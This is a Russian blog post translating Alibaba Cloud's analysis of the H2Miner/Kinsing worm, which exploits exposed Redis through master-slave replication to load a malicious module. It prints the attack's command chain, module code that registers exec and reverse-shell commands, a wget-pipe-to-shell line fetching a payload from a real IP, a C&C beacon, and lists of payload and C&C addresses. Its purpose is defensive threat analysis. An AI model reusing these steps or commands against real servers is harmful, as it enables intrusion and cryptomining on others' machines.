День назад один из серверов моего проекта был атакован подобным червем. В поисках ответа на вопрос «что же это было такое?» я нашел замечательную статью команды Alibaba Cloud Security. Поскольку я не нашел этот статьи на хабре, то решил перевести ее специально для вас <3
Вступление
Недавно команда безопасности Alibaba Cloud обнаружила внезапную вспышку H2Miner. Этот тип вредоносного червя использует отсутствие авторизации или слабые пароли для Redis в качестве шлюзов к вашим системам, после чего синхронизирует свой собственный вредоносный модуль с slave посредством синхронизации master-slave и, наконец, загружает этот вредоносный модуль на атакуемую машину и выполняет вредоносные инструкции.
В прошлом, атаки на ваши системы в основном осуществлялись с помощью метода, включающего запланированные задачи или SSH-ключи, которые записывались на вашу машину после входа злоумышленника в Redis. К счастью, этот метод не удается использовать часто из-за проблем с контролем разрешений или из-за разных версий системы. Тем не менее, этот метод загрузки вредоносного модуля может непосредственно выполнять команды атакующего или получать доступ к шеллу, что опасно для вашей системы.
Из-за большого количества серверов Redis, размещенных в интернете (почти 1 миллион), команда безопасности Alibaba Cloud, в качестве дружественного напоминания, рекомендует пользователям не предоставлять доступ к Redis из сети и регулярно проверять надежность своих паролей, а также, не подвержены ли они быстрому подбору.
H2Miner
H2Miner — это майнинг-ботнет для систем, на базе Linux, который может вторгаться в вашу систему различными способами, включая отсутсвие авторизации в Hadoop yarn, Docker, и уязвимость удаленного выполнения команд Redis (RCE). Ботнет работает путем загрузки вредоносных скриптов и вредоносных программ для майнинга ваших данных, горизонтального расширения атаки и поддержания командно-контрольной (C&C) связи.
Redis RCE
Знаниями по этому вопросу поделился Павел Топорков на ZeroNights 2018. После версии 4.0, Redis поддерживает функцию загрузки внешних модулей, которая предоставляет пользователям возможность загрузки файлов so, скомпилированных с помощью C в Redis для выполнения определенных команд Redis. Эта функция хоть и полезна, но содержит уязвимость, при которой в режиме master-slave файлы могут быть синхронизированы с slave через режим fullresync. Это может быть использовано атакующим для передачи вредоносных файлов so. После завершения передачи злоумышленники подгружают модуль на атакуемый экземпляр Redis и выполняют любую команду.
Анализ вредоносного червя
Недавно команда безопасности Alibaba Cloud обнаружила, что размер группы вредоносных майнеров H2Miner вдруг резко возрос. Согласно анализу, общий процесс возникновения атаки выглядит следующим образом:
H2Miner в использует RCE Redis для полноценной атаки. Сперва злоумышленники атакуют незащищенные сервера Redis или сервера со слабыми паролями.
Затем они используют команду config set dbfilename red2.so
чтобы изменить имя файла. После этого атакующие выполняют команду slaveof
для установки адреса хоста репликации master-slave.
Когда атакуемый экземпляр Redis устанавливает соединение master-slave с вредоносным Redis, который принадлежит злоумышленнику, атакующий отправляет зараженный модуль с помощью команды fullresync для синхронизации файлов. Затем файл red2.so будет загружен на атакуемую машину. После чего злоумышленники используют модуль загрузки ./red2.so чтобы загрузить этот файл so. Модуль может выполнять команды злоумышленника или инициировать обратное соединение (бэкдор) для получения доступа к атакуемой машине.
if (RedisModule_CreateCommand(ctx, "system.exec",
DoCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
return REDISMODULE_ERR;
if (RedisModule_CreateCommand(ctx, "system.rev",
RevShellCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
return REDISMODULE_ERR;
После выполнения вредоносной команды, такой как / bin / sh -c wget -q -O-http://195.3.146.118/unk.sh | sh> / dev / null 2> & 1
, злоумышленник сбросит имя файла резервной копии и сделает выгрузку системного модуля, чтобы очистить следы. Тем не менее, файл red2.so по-прежнему будет оставаться на атакованной машине. Пользователям рекомендуется обратить внимание на наличие такого подозрительного файла в папке их экземпляра Redis.
В дополнение к уничтожению некоторых вредоносных процессов для кражи ресурсов, злоумышленник последовал вредоносному сценарию, загрузив и запустив вредоносные файлы в бинарном виде, чтобы
Согласно результатам реверсивной разработки, вредоносная программа в основном выполняет следующие функции:
- Загрузка файлов и их выполнение
- Майнинг
- Поддержание связи C&C и выполнение команд атакующего
Используйте masscan для внешнего сканирования, чтобы расширить влияние. Кроме того, IP-адрес сервера C&C жестко зашифрован в программе, и атакуемый хост будет взаимодействовать с сервером связи C&C с помощью HTTP запросов, где информация зомби (взломанного сервера) идентифицируется в заголовке HTTP.
GET /h HTTP/1.1
Host: 91.215.169.111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Arch: amd64
Cores: 2
Mem: 3944
Os: linux
Osname: debian
Osversion: 10.0
Root: false
S: k
Uuid: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxx
Version: 26
Accept-Encoding: gzip
Остальные методы атак
Адреса и ссылки, которые использует червь
/kinsing
• 142.44.191.122/t.sh
• 185.92.74.42/h.sh
• 142.44.191.122/spr.sh
• 142.44.191.122/spre.sh
• 195.3.146.118/unk.sh
с&c
• 45.10.88.102
• 91.215.169.111
• 139.99.50.255
• 46.243.253.167
• 195.123.220.193
Совет
Во-первых, Redis не должен быть открыт для доступа из Интернета и должен быть защищен надежным паролем. Также, важно, чтобы клиенты проверяли, отсутствие файла red2.so в директории Redis и отсутсвие «kinsing» в имени файла / процесса на хосте.
Источник: habr.com